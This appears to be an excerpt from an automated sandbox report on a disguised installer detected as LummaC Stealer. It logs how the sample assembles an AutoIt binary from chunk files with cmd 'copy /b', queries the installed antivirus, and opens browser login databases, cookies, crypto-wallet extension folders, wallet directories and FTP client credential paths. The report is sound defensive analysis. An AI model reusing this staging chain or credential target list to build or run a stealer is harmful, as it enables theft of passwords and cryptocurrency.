Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 670499\Considering.com + Typically + Longitude + Nikon + Bumper + Tire + Nick + Tunisia + Festivals + Rabbit 670499\Considering.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Celebs.pps + ..\Harvest.pps + ..\Come.pps + ..\Ban.pps + ..\Spain.pps + ..\Irrigation.pps + ..\Communicate.pps J	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\670499\Considering.com Considering.com J	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior

Source: Considering.com, 0000000D.00000000.1711255732.00000000010A3000.00000002.00000001.01000000.00000007.sdmp, Considering.com, 0000000D.00000003.2043001513.0000000004F59000.00000004.00000800.00020000.00000000.sdmp, Considering.com.1.dr, Tunisia.9.dr

Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning

Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe

Code function: 0_2_00406831 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406831

Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: 0000000D.00000003.2039177399.0000000004685000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2038585408.0000000004631000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2038438512.00000000046F5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2038354438.0000000004798000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2038714564.0000000004E39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2039253834.0000000004831000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2038864349.0000000004798000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\670499\Considering.com	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

